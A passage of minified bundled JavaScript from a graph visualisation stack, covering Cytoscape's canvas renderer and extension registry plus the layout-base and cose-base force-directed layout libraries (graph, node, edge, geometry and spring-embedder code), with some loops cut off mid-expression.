this.pathsEnabled;this.pathsEnabled=!!t};Cr.usePaths=function(){return Fqe&&this.pathsEnabled};Cr.setImgSmoothing=function(t,e){t.imageSmoothingEnabled!=null?t.imageSmoothingEnabled=e:(t.webkitImageSmoothingEnabled=e,t.mozImageSmoothingEnabled=e,t.msImageSmoothingEnabled=e)};Cr.getImgSmoothing=function(t){return t.imageSmoothingEnabled!=null?t.imageSmoothingEnabled:t.webkitImageSmoothingEnabled||t.mozImageSmoothingEnabled||t.msImageSmoothingEnabled};Cr.makeOffscreenCanvas=function(t,e){var r;if((typeof OffscreenCanvas>"u"?"undefined":$i(OffscreenCanvas))!=="undefined")r=new OffscreenCanvas(t,e);else{var n=this.cy.window(),i=n.document;r=i.createElement("canvas"),r.width=t,r.height=e}return r};[Ihe,Fc,Hu,NI,Cp,Lf,us,$he,Rf,Sx,qhe].forEach(function(t){ir(Cr,t)});$qe=[{name:"null",impl:bhe},{name:"base",impl:Lhe},{name:"canvas",impl:Bqe}],zqe=[{type:"layout",extensions:hHe},{type:"renderer",extensions:$qe}],Yhe={},Xhe={};o(jhe,"setExtension");o(Khe,"getExtension");o(Gqe,"setModule");o(Vqe,"getModule");lI=o(function(){if(arguments.length===2)return Khe.apply(null,arguments);if(arguments.length===3)return jhe.apply(null,arguments);if(arguments.length===4)return Vqe.apply(null,arguments);if(arguments.length===5)return Gqe.apply(null,arguments);Kn("Invalid extension access syntax")},"extension");fx.prototype.extension=lI;zqe.forEach(function(t){t.extensions.forEach(function(e){jhe(t.type,e.name,e.impl)})});oE=o(function(){if(!(this instanceof oE))return new oE;this.length=0},"Stylesheet"),Ep=oE.prototype;Ep.instanceString=function(){return"stylesheet"};Ep.selector=function(t){var e=this.length++;return this[e]={selector:t,properties:[]},this};Ep.css=function(t,e){var r=this.length-1;if(Jt(t))this[r].properties.push({name:t,value:e});else if(Yr(t))for(var n=t,i=Object.keys(n),a=0;a{"use strict";o((function(e,r){typeof Cx=="object"&&typeof OI=="object"?OI.exports=r():typeof define=="function"&&define.amd?define([],r):typeof Cx=="object"?Cx.layoutBase=r():e.layoutBase=r()}),"webpackUniversalModuleDefinition")(Cx,function(){return(function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return o(r,"__webpack_require__"),r.m=t,r.c=e,r.i=function(n){return n},r.d=function(n,i,a){r.o(n,i)||Object.defineProperty(n,i,{configurable:!1,enumerable:!0,get:a})},r.n=function(n){var i=n&&n.__esModule?o(function(){return n.default},"getDefault"):o(function(){return n},"getModuleExports");return r.d(i,"a",i),i},r.o=function(n,i){return Object.prototype.hasOwnProperty.call(n,i)},r.p="",r(r.s=26)})([(function(t,e,r){"use strict";function n(){}o(n,"LayoutConstants"),n.QUALITY=1,n.DEFAULT_CREATE_BENDS_AS_NEEDED=!1,n.DEFAULT_INCREMENTAL=!1,n.DEFAULT_ANIMATION_ON_LAYOUT=!0,n.DEFAULT_ANIMATION_DURING_LAYOUT=!1,n.DEFAULT_ANIMATION_PERIOD=50,n.DEFAULT_UNIFORM_LEAF_NODE_SIZES=!1,n.DEFAULT_GRAPH_MARGIN=15,n.NODE_DIMENSIONS_INCLUDE_LABELS=!1,n.SIMPLE_NODE_SIZE=40,n.SIMPLE_NODE_HALF_SIZE=n.SIMPLE_NODE_SIZE/2,n.EMPTY_COMPOUND_NODE_SIZE=40,n.MIN_EDGE_LENGTH=1,n.WORLD_BOUNDARY=1e6,n.INITIAL_WORLD_BOUNDARY=n.WORLD_BOUNDARY/1e3,n.WORLD_CENTER_X=1200,n.WORLD_CENTER_Y=900,t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(8),a=r(9);function s(u,h,f){n.call(this,f),this.isOverlapingSourceAndTarget=!1,this.vGraphObject=f,this.bendpoints=[],this.source=u,this.target=h}o(s,"LEdge"),s.prototype=Object.create(n.prototype);for(var l in n)s[l]=n[l];s.prototype.getSource=function(){return this.source},s.prototype.getTarget=function(){return this.target},s.prototype.isInterGraph=function(){return this.isInterGraph},s.prototype.getLength=function(){return this.length},s.prototype.isOverlapingSourceAndTarget=function(){return this.isOverlapingSourceAndTarget},s.prototype.getBendpoints=function(){return this.bendpoints},s.prototype.getLca=function(){return this.lca},s.prototype.getSourceInLca=function(){return this.sourceInLca},s.prototype.getTargetInLca=function(){return this.targetInLca},s.prototype.getOtherEnd=function(u){if(this.source===u)return this.target;if(this.target===u)return this.source;throw"Node is not incident with this edge"},s.prototype.getOtherEndInGraph=function(u,h){for(var f=this.getOtherEnd(u),d=h.getGraphManager().getRoot();;){if(f.getOwner()==h)return f;if(f.getOwner()==d)break;f=f.getOwner().getParent()}return null},s.prototype.updateLength=function(){var u=new Array(4);this.isOverlapingSourceAndTarget=i.getIntersection(this.target.getRect(),this.source.getRect(),u),this.isOverlapingSourceAndTarget||(this.lengthX=u[0]-u[2],this.lengthY=u[1]-u[3],Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY))},s.prototype.updateLengthSimple=function(){this.lengthX=this.target.getCenterX()-this.source.getCenterX(),this.lengthY=this.target.getCenterY()-this.source.getCenterY(),Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY)},t.exports=s}),(function(t,e,r){"use strict";function n(i){this.vGraphObject=i}o(n,"LGraphObject"),t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(13),s=r(0),l=r(16),u=r(4);function h(d,p,m,g){m==null&&g==null&&(g=p),n.call(this,g),d.graphManager!=null&&(d=d.graphManager),this.estimatedSize=i.MIN_VALUE,this.inclusionTreeDepth=i.MAX_VALUE,this.vGraphObject=g,this.edges=[],this.graphManager=d,m!=null&&p!=null?this.rect=new a(p.x,p.y,m.width,m.height):this.rect=new a}o(h,"LNode"),h.prototype=Object.create(n.prototype);for(var f in n)h[f]=n[f];h.prototype.getEdges=function(){return this.edges},h.prototype.getChild=function(){return this.child},h.prototype.getOwner=function(){return this.owner},h.prototype.getWidth=function(){return this.rect.width},h.prototype.setWidth=function(d){this.rect.width=d},h.prototype.getHeight=function(){return this.rect.height},h.prototype.setHeight=function(d){this.rect.height=d},h.prototype.getCenterX=function(){return this.rect.x+this.rect.width/2},h.prototype.getCenterY=function(){return this.rect.y+this.rect.height/2},h.prototype.getCenter=function(){return new u(this.rect.x+this.rect.width/2,this.rect.y+this.rect.height/2)},h.prototype.getLocation=function(){return new u(this.rect.x,this.rect.y)},h.prototype.getRect=function(){return this.rect},h.prototype.getDiagonal=function(){return Math.sqrt(this.rect.width*this.rect.width+this.rect.height*this.rect.height)},h.prototype.getHalfTheDiagonal=function(){return Math.sqrt(this.rect.height*this.rect.height+this.rect.width*this.rect.width)/2},h.prototype.setRect=function(d,p){this.rect.x=d.x,this.rect.y=d.y,this.rect.width=p.width,this.rect.height=p.height},h.prototype.setCenter=function(d,p){this.rect.x=d-this.rect.width/2,this.rect.y=p-this.rect.height/2},h.prototype.setLocation=function(d,p){this.rect.x=d,this.rect.y=p},h.prototype.moveBy=function(d,p){this.rect.x+=d,this.rect.y+=p},h.prototype.getEdgeListToNode=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(y.target==d){if(y.source!=g)throw"Incorrect edge source!";p.push(y)}}),p},h.prototype.getEdgesBetween=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(!(y.source==g||y.target==g))throw"Incorrect edge source and/or target";(y.target==d||y.source==d)&&p.push(y)}),p},h.prototype.getNeighborsList=function(){var d=new Set,p=this;return p.edges.forEach(function(m){if(m.source==p)d.add(m.target);else{if(m.target!=p)throw"Incorrect incidency!";d.add(m.source)}}),d},h.prototype.withChildren=function(){var d=new Set,p,m;if(d.add(this),this.child!=null)for(var g=this.child.getNodes(),y=0;yp&&(this.rect.x-=(this.labelWidth-p)/2,this.setWidth(this.labelWidth)),this.labelHeight>m&&(this.labelPos=="center"?this.rect.y-=(this.labelHeight-m)/2:this.labelPos=="top"&&(this.rect.y-=this.labelHeight-m),this.setHeight(this.labelHeight))}}},h.prototype.getInclusionTreeDepth=function(){if(this.inclusionTreeDepth==i.MAX_VALUE)throw"assert failed";return this.inclusionTreeDepth},h.prototype.transform=function(d){var p=this.rect.x;p>s.WORLD_BOUNDARY?p=s.WORLD_BOUNDARY:p<-s.WORLD_BOUNDARY&&(p=-s.WORLD_BOUNDARY);var m=this.rect.y;m>s.WORLD_BOUNDARY?m=s.WORLD_BOUNDARY:m<-s.WORLD_BOUNDARY&&(m=-s.WORLD_BOUNDARY);var g=new u(p,m),y=d.inverseTransformPoint(g);this.setLocation(y.x,y.y)},h.prototype.getLeft=function(){return this.rect.x},h.prototype.getRight=function(){return this.rect.x+this.rect.width},h.prototype.getTop=function(){return this.rect.y},h.prototype.getBottom=function(){return this.rect.y+this.rect.height},h.prototype.getParent=function(){return this.owner==null?null:this.owner.getParent()},t.exports=h}),(function(t,e,r){"use strict";function n(i,a){i==null&&a==null?(this.x=0,this.y=0):(this.x=i,this.y=a)}o(n,"PointD"),n.prototype.getX=function(){return this.x},n.prototype.getY=function(){return this.y},n.prototype.setX=function(i){this.x=i},n.prototype.setY=function(i){this.y=i},n.prototype.getDifference=function(i){return new DimensionD(this.x-i.x,this.y-i.y)},n.prototype.getCopy=function(){return new n(this.x,this.y)},n.prototype.translate=function(i){return this.x+=i.width,this.y+=i.height,this},t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(0),s=r(6),l=r(3),u=r(1),h=r(13),f=r(12),d=r(11);function p(g,y,v){n.call(this,v),this.estimatedSize=i.MIN_VALUE,this.margin=a.DEFAULT_GRAPH_MARGIN,this.edges=[],this.nodes=[],this.isConnected=!1,this.parent=g,y!=null&&y instanceof s?this.graphManager=y:y!=null&&y instanceof Layout&&(this.graphManager=y.graphManager)}o(p,"LGraph"),p.prototype=Object.create(n.prototype);for(var m in n)p[m]=n[m];p.prototype.getNodes=function(){return this.nodes},p.prototype.getEdges=function(){return this.edges},p.prototype.getGraphManager=function(){return this.graphManager},p.prototype.getParent=function(){return this.parent},p.prototype.getLeft=function(){return this.left},p.prototype.getRight=function(){return this.right},p.prototype.getTop=function(){return this.top},p.prototype.getBottom=function(){return this.bottom},p.prototype.isConnected=function(){return this.isConnected},p.prototype.add=function(g,y,v){if(y==null&&v==null){var x=g;if(this.graphManager==null)throw"Graph has no graph mgr!";if(this.getNodes().indexOf(x)>-1)throw"Node already in graph!";return x.owner=this,this.getNodes().push(x),x}else{var b=g;if(!(this.getNodes().indexOf(y)>-1&&this.getNodes().indexOf(v)>-1))throw"Source or target not in graph!";if(!(y.owner==v.owner&&y.owner==this))throw"Both owners must be this graph!";return y.owner!=v.owner?null:(b.source=y,b.target=v,b.isInterGraph=!1,this.getEdges().push(b),y.edges.push(b),v!=y&&v.edges.push(b),b)}},p.prototype.remove=function(g){var y=g;if(g instanceof l){if(y==null)throw"Node is null!";if(!(y.owner!=null&&y.owner==this))throw"Owner graph is invalid!";if(this.graphManager==null)throw"Owner graph manager is invalid!";for(var v=y.edges.slice(),x,b=v.length,T=0;T-1&&k>-1))throw"Source and/or target doesn't know this edge!";x.source.edges.splice(w,1),x.target!=x.source&&x.target.edges.splice(k,1);var S=x.source.owner.getEdges().indexOf(x);if(S==-1)throw"Not in owner's edge list!";x.source.owner.getEdges().splice(S,1)}},p.prototype.updateLeftTop=function(){for(var g=i.MAX_VALUE,y=i.MAX_VALUE,v,x,b,T=this.getNodes(),S=T.length,w=0;wv&&(g=v),y>x&&(y=x)}return g==i.MAX_VALUE?null:(T[0].getParent().paddingLeft!=null?b=T[0].getParent().paddingLeft:b=this.margin,this.left=y-b,this.top=g-b,new f(this.left,this.top))},p.prototype.updateBounds=function(g){for(var y=i.MAX_VALUE,v=-i.MAX_VALUE,x=i.MAX_VALUE,b=-i.MAX_VALUE,T,S,w,k,A,C=this.nodes,R=C.length,I=0;IT&&(y=T),vw&&(x=w),bT&&(y=T),vw&&(x=w),b=this.nodes.length){var R=0;v.forEach(function(I){I.owner==g&&R++}),R==this.nodes.length&&(this.isConnected=!0)}},t.exports=p}),(function(t,e,r){"use strict";var n,i=r(1);function a(s){n=r(5),this.layout=s,this.graphs=[],this.edges=[]}o(a,"LGraphManager"),a.prototype.addRoot=function(){var s=this.layout.newGraph(),l=this.layout.newNode(null),u=this.add(s,l);return this.setRootGraph(u),this.rootGraph},a.prototype.add=function(s,l,u,h,f){if(u==null&&h==null&&f==null){if(s==null)throw"Graph is null!";if(l==null)throw"Parent node is null!";if(this.graphs.indexOf(s)>-1)throw"Graph already in this graph mgr!";if(this.graphs.push(s),s.parent!=null)throw"Already has a parent!";if(l.child!=null)throw"Already has a child!";return s.parent=l,l.child=s,s}else{f=u,h=l,u=s;var d=h.getOwner(),p=f.getOwner();if(!(d!=null&&d.getGraphManager()==this))throw"Source not in this graph mgr!";if(!(p!=null&&p.getGraphManager()==this))throw"Target not in this graph mgr!";if(d==p)return u.isInterGraph=!1,d.add(u,h,f);if(u.isInterGraph=!0,u.source=h,u.target=f,this.edges.indexOf(u)>-1)throw"Edge already in inter-graph edge list!";if(this.edges.push(u),!(u.source!=null&&u.target!=null))throw"Edge source and/or target is null!";if(!(u.source.edges.indexOf(u)==-1&&u.target.edges.indexOf(u)==-1))throw"Edge already in source and/or target incidency list!";return u.source.edges.push(u),u.target.edges.push(u),u}},a.prototype.remove=function(s){if(s instanceof n){var l=s;if(l.getGraphManager()!=this)throw"Graph not in this graph mgr";if(!(l==this.rootGraph||l.parent!=null&&l.parent.graphManager==this))throw"Invalid parent node!";var u=[];u=u.concat(l.getEdges());for(var h,f=u.length,d=0;d=s.getRight()?l[0]+=Math.min(s.getX()-a.getX(),a.getRight()-s.getRight()):s.getX()<=a.getX()&&s.getRight()>=a.getRight()&&(l[0]+=Math.min(a.getX()-s.getX(),s.getRight()-a.getRight())),a.getY()<=s.getY()&&a.getBottom()>=s.getBottom()?l[1]+=Math.min(s.getY()-a.getY(),a.getBottom()-s.getBottom()):s.getY()<=a.getY()&&s.getBottom()>=a.getBottom()&&(l[1]+=Math.min(a.getY()-s.getY(),s.getBottom()-a.getBottom()));var f=Math.abs((s.getCenterY()-a.getCenterY())/(s.getCenterX()-a.getCenterX()));s.getCenterY()===a.getCenterY()&&s.getCenterX()===a.getCenterX()&&(f=1);var d=f*l[0],p=l[1]/f;l[0]d)return l[0]=u,l[1]=m,l[2]=f,l[3]=C,!1;if(hf)return l[0]=p,l[1]=h,l[2]=k,l[3]=d,!1;if(uf?(l[0]=y,l[1]=v,E=!0):(l[0]=g,l[1]=m,E=!0):_===M&&(u>f?(l[0]=p,l[1]=m,E=!0):(l[0]=x,l[1]=v,E=!0)),-O===M?f>u?(l[2]=A,l[3]=C,D=!0):(l[2]=k,l[3]=w,D=!0):O===M&&(f>u?(l[2]=S,l[3]=w,D=!0):(l[2]=R,l[3]=C,D=!0)),E&&D)return!1;if(u>f?h>d?(P=this.getCardinalDirection(_,M,4),B=this.getCardinalDirection(O,M,2)):(P=this.getCardinalDirection(-_,M,3),B=this.getCardinalDirection(-O,M,1)):h>d?(P=this.getCardinalDirection(-_,M,1),B=this.getCardinalDirection(-O,M,3)):(P=this.getCardinalDirection(_,M,2),B=this.getCardinalDirection(O,M,4)),!E)switch(P){case 1:G=m,F=u+-T/M,l[0]=F,l[1]=G;break;case 2:F=x,G=h+b*M,l[0]=F,l[1]=G;break;case 3:G=v,F=u+T/M,l[0]=F,l[1]=G;break;case 4:F=y,G=h+-b*M,l[0]=F,l[1]=G;break}if(!D)switch(B){case 1:U=w,$=f+-L/M,l[2]=$,l[3]=U;break;case 2:$=R,U=d+I*M,l[2]=$,l[3]=U;break;case 3:U=C,$=f+L/M,l[2]=$,l[3]=U;break;case 4:$=A,U=d+-I*M,l[2]=$,l[3]=U;break}}return!1},i.getCardinalDirection=function(a,s,l){return a>s?l:1+l%4},i.getIntersection=function(a,s,l,u){if(u==null)return this.getIntersection2(a,s,l);var h=a.x,f=a.y,d=s.x,p=s.y,m=l.x,g=l.y,y=u.x,v=u.y,x=void 0,b=void 0,T=void 0,S=void 0,w=void 0,k=void 0,A=void 0,C=void 0,R=void 0;return T=p-f,w=h-d,A=d*f-h*p,S=v-g,k=m-y,C=y*g-m*v,R=T*k-S*w,R===0?null:(x=(w*C-k*A)/R,b=(S*A-T*C)/R,new n(x,b))},i.angleOfVector=function(a,s,l,u){var h=void 0;return a!==l?(h=Math.atan((u-s)/(l-a)),l0?1:i<0?-1:0},n.floor=function(i){return i<0?Math.ceil(i):Math.floor(i)},n.ceil=function(i){return i<0?Math.floor(i):Math.ceil(i)},t.exports=n}),(function(t,e,r){"use strict";function n(){}o(n,"Integer"),n.MAX_VALUE=2147483647,n.MIN_VALUE=-2147483648,t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function h(f,d){for(var p=0;p"u"?"undefined":n(a);return a==null||s!="object"&&s!="function"},t.exports=i}),(function(t,e,r){"use strict";function n(m){if(Array.isArray(m)){for(var g=0,y=Array(m.length);g0&&g;){for(T.push(w[0]);T.length>0&&g;){var k=T[0];T.splice(0,1),b.add(k);for(var A=k.getEdges(),x=0;x-1&&w.splice(L,1)}b=new Set,S=new Map}}return m},p.prototype.createDummyNodesForBendpoints=function(m){for(var g=[],y=m.source,v=this.graphManager.calcLowestCommonAncestor(m.source,m.target),x=0;x0){for(var v=this.edgeToDummyNodes.get(y),x=0;x=0&&g.splice(C,1);var R=S.getNeighborsList();R.forEach(function(E){if(y.indexOf(E)<0){var D=v.get(E),_=D-1;_==1&&k.push(E),v.set(E,_)}})}y=y.concat(k),(g.length==1||g.length==2)&&(x=!0,b=g[0])}return b},p.prototype.setGraphManager=function(m){this.graphManager=m},t.exports=p}),(function(t,e,r){"use strict";function n(){}o(n,"RandomSeed"),n.seed=1,n.x=0,n.nextDouble=function(){return n.x=Math.sin(n.seed++)*1e4,n.x-Math.floor(n.x)},t.exports=n}),(function(t,e,r){"use strict";var n=r(4);function i(a,s){this.lworldOrgX=0,this.lworldOrgY=0,this.ldeviceOrgX=0,this.ldeviceOrgY=0,this.lworldExtX=1,this.lworldExtY=1,this.ldeviceExtX=1,this.ldeviceExtY=1}o(i,"Transform"),i.prototype.getWorldOrgX=function(){return this.lworldOrgX},i.prototype.setWorldOrgX=function(a){this.lworldOrgX=a},i.prototype.getWorldOrgY=function(){return this.lworldOrgY},i.prototype.setWorldOrgY=function(a){this.lworldOrgY=a},i.prototype.getWorldExtX=function(){return this.lworldExtX},i.prototype.setWorldExtX=function(a){this.lworldExtX=a},i.prototype.getWorldExtY=function(){return this.lworldExtY},i.prototype.setWorldExtY=function(a){this.lworldExtY=a},i.prototype.getDeviceOrgX=function(){return this.ldeviceOrgX},i.prototype.setDeviceOrgX=function(a){this.ldeviceOrgX=a},i.prototype.getDeviceOrgY=function(){return this.ldeviceOrgY},i.prototype.setDeviceOrgY=function(a){this.ldeviceOrgY=a},i.prototype.getDeviceExtX=function(){return this.ldeviceExtX},i.prototype.setDeviceExtX=function(a){this.ldeviceExtX=a},i.prototype.getDeviceExtY=function(){return this.ldeviceExtY},i.prototype.setDeviceExtY=function(a){this.ldeviceExtY=a},i.prototype.transformX=function(a){var s=0,l=this.lworldExtX;return l!=0&&(s=this.ldeviceOrgX+(a-this.lworldOrgX)*this.ldeviceExtX/l),s},i.prototype.transformY=function(a){var s=0,l=this.lworldExtY;return l!=0&&(s=this.ldeviceOrgY+(a-this.lworldOrgY)*this.ldeviceExtY/l),s},i.prototype.inverseTransformX=function(a){var s=0,l=this.ldeviceExtX;return l!=0&&(s=this.lworldOrgX+(a-this.ldeviceOrgX)*this.lworldExtX/l),s},i.prototype.inverseTransformY=function(a){var s=0,l=this.ldeviceExtY;return l!=0&&(s=this.lworldOrgY+(a-this.ldeviceOrgY)*this.lworldExtY/l),s},i.prototype.inverseTransformPoint=function(a){var s=new n(this.inverseTransformX(a.x),this.inverseTransformY(a.y));return s},t.exports=i}),(function(t,e,r){"use strict";function n(d){if(Array.isArray(d)){for(var p=0,m=Array(d.length);pa.ADAPTATION_LOWER_NODE_LIMIT&&(this.coolingFactor=Math.max(this.coolingFactor*a.COOLING_ADAPTATION_FACTOR,this.coolingFactor-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*this.coolingFactor*(1-a.COOLING_ADAPTATION_FACTOR))),this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT_INCREMENTAL):(d>a.ADAPTATION_LOWER_NODE_LIMIT?this.coolingFactor=Math.max(a.COOLING_ADAPTATION_FACTOR,1-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*(1-a.COOLING_ADAPTATION_FACTOR)):this.coolingFactor=1,this.initialCoolingFactor=this.coolingFactor,this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT),this.maxIterations=Math.max(this.getAllNodes().length*5,this.maxIterations),this.totalDisplacementThreshold=this.displacementThresholdPerNode*this.getAllNodes().length,this.repulsionRange=this.calcRepulsionRange()},h.prototype.calcSpringForces=function(){for(var d=this.getAllEdges(),p,m=0;m0&&arguments[0]!==void 0?arguments[0]:!0,p=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,m,g,y,v,x=this.getAllNodes(),b;if(this.useFRGridVariant)for(this.totalIterations%a.GRID_CALCULATION_CHECK_PERIOD==1&&d&&this.updateGrid(),b=new Set,m=0;mT||b>T)&&(d.gravitationForceX=-this.gravityConstant*y,d.gravitationForceY=-this.gravityConstant*v)):(T=p.getEstimatedSize()*this.compoundGravityRangeFactor,(x>T||b>T)&&(d.gravitationForceX=-this.gravityConstant*y*this.compoundGravityConstant,d.gravitationForceY=-this.gravityConstant*v*this.compoundGravityConstant))},h.prototype.isConverged=function(){var d,p=!1;return this.totalIterations>this.maxIterations/3&&(p=Math.abs(this.totalDisplacement-this.oldTotalDisplacement)<2),d=this.totalDisplacement=x.length||T>=x[0].length)){for(var S=0;Sh},"_defaultCompareFunction")}]),l})();t.exports=s}),(function(t,e,r){"use strict";var n=(function(){function s(l,u){for(var h=0;h2&&arguments[2]!==void 0?arguments[2]:1,f=arguments.length>3&&arguments[3]!==void 0?arguments[3]:-1,d=arguments.length>4&&arguments[4]!==void 0?arguments[4]:-1;i(this,s),this.sequence1=l,this.sequence2=u,this.match_score=h,this.mismatch_penalty=f,this.gap_penalty=d,this.iMax=l.length+1,this.jMax=u.length+1,this.grid=new Array(this.iMax);for(var p=0;p=0;l--){var u=this.listeners[l];u.event===a&&u.callback===s&&this.listeners.splice(l,1)}},i.emit=function(a,s){for(var l=0;l{"use strict";o((function(e,r){typeof Ax=="object"&&typeof BI=="object"?BI.exports=r(PI()):typeof define=="function"&&define.amd?define(["layout-base"],r):typeof Ax=="object"?Ax.coseBase=r(PI()):e.coseBase=r(e.layoutBase)}),"webpackUniversalModuleDefinition")(Ax,function(t){return(function(e){var r={};function n(i){if(r[i])return r[i].exports;var a=r[i]={i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n),a.l=!0,a.exports}return o(n,"__webpack_require__"),n.m=e,n.c=r,n.i=function(i){return i},n.d=function(i,a,s){n.o(i,a)||Object.defineProperty(i,a,{configurable:!1,enumerable:!0,get:s})},n.n=function(i){var a=i&&i.__esModule?o(function(){return i.default},"getDefault"):o(function(){return i},"getModuleExports");return n.d(a,"a",a),a},n.o=function(i,a){return Object.prototype.hasOwnProperty.call(i,a)},n.p="",n(n.s=7)})([(function(e,r){e.exports=t}),(function(e,r,n){"use strict";var i=n(0).FDLayoutConstants;function a(){}o(a,"CoSEConstants");for(var s in i)a[s]=i[s];a.DEFAULT_USE_MULTI_LEVEL_SCALING=!1,a.DEFAULT_RADIAL_SEPARATION=i.DEFAULT_EDGE_LENGTH,a.DEFAULT_COMPONENT_SEPERATION=60,a.TILE=!0,a.TILING_PADDING_VERTICAL=10,a.TILING_PADDING_HORIZONTAL=10,a.TREE_REDUCTION_ON_INCREMENTAL=!1,e.exports=a}),(function(e,r,n){"use strict";var i=n(0).FDLayoutEdge;function a(l,u,h){i.call(this,l,u,h)}o(a,"CoSEEdge"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).LGraph;function a(l,u,h){i.call(this,l,u,h)}o(a,"CoSEGraph"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).LGraphManager;function a(l){i.call(this,l)}o(a,"CoSEGraphManager"),a.prototype=Object.create(i.prototype);for(var s in i)a[s]=i[s];e.exports=a}),(function(e,r,n){"use strict";var i=n(0).FDLayoutNode,a=n(0).IMath;function s(u,h,f,d){i.call(this,u,h,f,d)}o(s,"CoSENode"),s.prototype=Object.create(i.prototype);for(var l in i)s[l]=i[l];s.prototype.move=function(){var u=this.graphManager.getLayout();this.displacementX=u.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.noOfChildren,this.displacementY=u.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.noOfChildren,Math.abs(this.displacementX)>u.coolingFactor*u.maxNodeDisplacement&&(this.displacementX=u.coolingFactor*u.maxNodeDisplacement*a.sign(this.displacementX)),Math.abs(this.displacementY)>u.coolingFactor*u.maxNodeDisplacement&&(this.displacementY=u.coolingFactor*u.maxNodeDisplacement*a.sign(this.displacementY)),this.child==null?this.moveBy(this.displacementX,this.displacementY):this.child.getNodes().length==0?this.moveBy(this.displacementX,this.displacementY):this.propogateDisplacementToChildren(this.displacementX,this.displacementY),u.totalDisplacement+=Math.abs(this.displacementX)+Math.abs(this.displacementY),this.springForceX=0,this.springForceY=0,this.repulsionForceX=0,this.repulsionForceY=0,this.gravitationForceX=0,this.gravitationForceY=0,this.displacementX=0,this.displacementY=0},s.prototype.propogateDisplacementToChildren=function(u,h){for(var f=this.getChild().getNodes(),d,p=0;p0)this.positionNodesRadially(w);else{this.reduceTrees(),this.graphManager.resetAllNodesToApplyGravitation();var k=new Set(this.getAllNodes()),A=this.nodesWithGravity.filter(function(C){return k.has(C)});this.graphManager.setAllNodesToApplyGravitation(A),this.positionNodesRandomly()}}return this.initSpringEmbedder(),this.runSpringEmbedder(),!0},T.prototype.tick=function(){if(this.totalIterations++,this.totalIterations===this.maxIterations&&!this.isTreeGrowing&&!this.isGrowthFinished)if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;if(this.totalIterations%f.CONVERGENCE_CHECK_PERIOD==0&&!this.isTreeGrowing&&!this.isGrowthFinished){if(this.isConverged())if(this.prunedNodesAll.length>0)this.isTreeGrowing=!0;else return!0;this.coolingCycle++,this.layoutQuality==0?this.coolingAdjuster=this.coolingCycle:this.layoutQuality==1&&(this.coolingAdjuster=this.coolingCycle/3),this.coolingFactor=Math.max(this.initialCoolingFactor-Math.pow(this.coolingCycle,Math.log(100*(this.initialCoolingFactor-this.finalTemperature))/Math.log(this.maxCoolingCycle))/100*this.coolingAdjuster,this.finalTemperature),this.animationPeriod=Math.ceil(this.initialAnimationPeriod*Math.sqrt(this.coolingFactor))}if(this.isTreeGrowing){if(this.growTreeIterations%10==0)if(this.prunedNodesAll.length>0){this.graphManager.updateBounds(),this.updateGrid(),this.growTree(this.prunedNodesAll),this.graphManager.resetAllNodesToApplyGravitation();var w=new Set(this.getAllNodes()),k=this.nodesWithGravity.filter(function(R){return w.has(R)});this.graphManager.setAllNodesToApplyGravitation(k),this.graphManager.updateBounds(),this.updateGrid(),this.coolingFactor=f.DEFAULT_COOLING_FACTOR_INCREMENTAL}else this.isTreeGrowing=!1,this.isGrowthFinished=!0;this.growTreeIterations++}if(this.isGrowthFinished){if(this.isConverged())return!0;this.afterGrowthIterations%10==0&&(this.graphManager.updateBounds(),this.updateGrid()),this.coolingFactor=f.DEFAULT_COOLING_FACTOR_INCREMENTAL*((100-this.afterGrowthIterations)/100),this.afterGrowthIterations++}var A=!this.isTreeGrowing&&!this.isGrowthFinished,C=this.growTreeIterations%10==1&&this.isTreeGrowing||this.afterGrowthIterations%10==1&&this.isGrowthFinished;return this.totalDisplacement=0,this.graphManager.updateBounds(),this.calcSpringForces(),this.calcRepulsionForces(A,C),this.calcGravitationalForces(),this.moveNodes(),this.animate(),!1},T.prototype.getPositionsData=function(){for(var w=this.graphManager.getAllNodes(),k={},A=0;A1){var E;for(E=0;EC&&(C=Math.floor(L.y)),I=Math.floor(L.x+h.DEFAULT_COMPONENT_SEPERATION)}this.transform(new m(d.WORLD_CENTER_X-L.x/2,d.WORLD_CENTER_Y-L.y/2))},T.radialLayout=function(w,k,A){var C=Math.max(this.maxDiagonalInTree(w),h.DEFAULT_RADIAL_SEPARATION);T.branchRadialLayout(k,null,0,359,0,C);var R=x.calculateBounds(w),I=new b;I.setDeviceOrgX(R.getMinX()),I.setDeviceOrgY(R.getMinY()),I.setWorldOrgX(A.x),I.setWorldOrgY(A.y);for(var L=0;L1;){var j=U[0];U.splice(0,1);var te=P.indexOf(j);te>=0&&P.splice(te,1),G--,B--}k!=null?$=(P.indexOf(U[0])+1)%G:$=0;for(var Y=Math.abs(C-A)/B,oe=$;F!=B;oe=++oe%G){var 